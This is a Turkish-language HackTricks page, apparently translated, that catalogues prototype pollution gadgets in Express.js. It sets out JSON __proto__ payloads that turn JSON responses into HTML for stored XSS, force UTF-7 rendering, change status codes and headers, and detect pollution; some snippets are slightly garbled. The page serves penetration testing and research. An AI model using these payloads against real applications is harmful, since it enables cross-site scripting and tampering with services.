Express Prototype Pollution Gadgets
Reading time: 4 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
XSS yanıtlarını sunma
Daha fazla ayrıntı için orijinal araştırmaya göz atın
JSON içerik türünü HTML olarak değiştirin
Bir JSON içerik türü yanıtı kullanan bir Express uygulamasında ve bir JSON'u yansıtarak:
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})
Bu durumlarda XSS genellikle JSON içerik türü ile mümkün değildir. Ancak, prototip kirlenmesi ile Express'i bir HTML yanıtı sunması için kandırabiliriz. Bu güvenlik açığı, uygulamanın res.send(obj)
kullanmasına ve uygulama/json içerik türü ile gövde ayrıştırıcısını kullanmasına dayanır.
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
body
ve _body
özelliklerini kirleterek, Express'in HTML içerik türünü sunmasını sağlamak ve _body özelliğini yansıtmak mümkündür; bu da saklı XSS'ye yol açar.
UTF7'yi Render Et
Express'in UTF-7 içeriği render etmesini sağlamak mümkündür:
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
Güvenli Tarama Teknikleri
JSON boşlukları
Aşağıdaki PP, bir JSON içindeki niteliklerin işlevselliği bozmayacak şekilde ekstra bir boşluğa sahip olmasını sağlayacaktır:
{ "__proto__": { "json spaces": " " } }
Yansıtılan bir JSON şöyle görünecektir:
{"foo": "bar"} -- Note the extra space
Açık Başlıklar
Aşağıdaki PP aracı, sunucunun HTTP başlığını geri göndermesini sağlayacaktır: Access-Control-Expose_headers: foo
{ "__proto__": { "exposedHeaders": ["foo"] } }
CORS modülünün yüklenmesi gerekmektedir
OPTIONS Yöntemi
Aşağıdaki yük ile, OPTIONS yanıtından bir yöntemi gizlemek mümkündür:
// Original reponse: POST,GET,HEAD
// Payload:
{"__proto__":{"head":true}}
//New response: POST;GET
Durum
Aşağıdaki PP yükü kullanılarak dönen durum kodu değiştirmek mümkündür:
{ "__proto__": { "status": 510 } }
Hata
Bir prototipe bir dize gibi bir ilkel atadığınızda, bu prototipin bir nesne olması gerektiğinden no-op işlemi üretir. Eğer bir prototip nesnesini Object.prototype
'a atamaya çalışırsanız, bu bir istisna fırlatır. Bu iki davranışı prototip kirliliğinin başarılı olup olmadığını tespit etmek için kullanabiliriz:
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception
Yansıtılan Değer
Bir uygulama yanıtında bir nesne içerdiğinde, __proto__
ile birlikte alışılmadık bir isimle bir özellik oluşturmak faydalı olabilir. Özellikle, eğer yalnızca alışılmadık özellik yanıt olarak döndürülüyorsa, bu uygulamanın zayıflığını gösterebilir:
{ "unusualName": "value", "__proto__": "test" }
Ayrıca, Lodash gibi bir kütüphane kullanıldığında, bir özelliği hem prototip kirlenmesi (PP) yoluyla hem de doğrudan nesne içinde ayarlamak başka bir tanısal yaklaşım sunar. Eğer böyle bir özellik yanıttan çıkarılmışsa, bu, Lodash'ın birleştirmeden önce hedef nesnede özelliğin varlığını doğruladığını gösterir:
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
Çeşitli
Noktalara İzin Ver
Express'te sorgu dizesi parametrelerinden nesneler oluşturmanıza olanak tanıyan bir seçenek vardır.
Kesinlikle bir hata zincirinde kullanarak bir prototip kirlenmesi açığını istismar edebilirsiniz.
{ "__proto__": { "allowDots": true } }
?foo.bar=baz
Node'da bir nesne oluşturur.
Referanslar
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.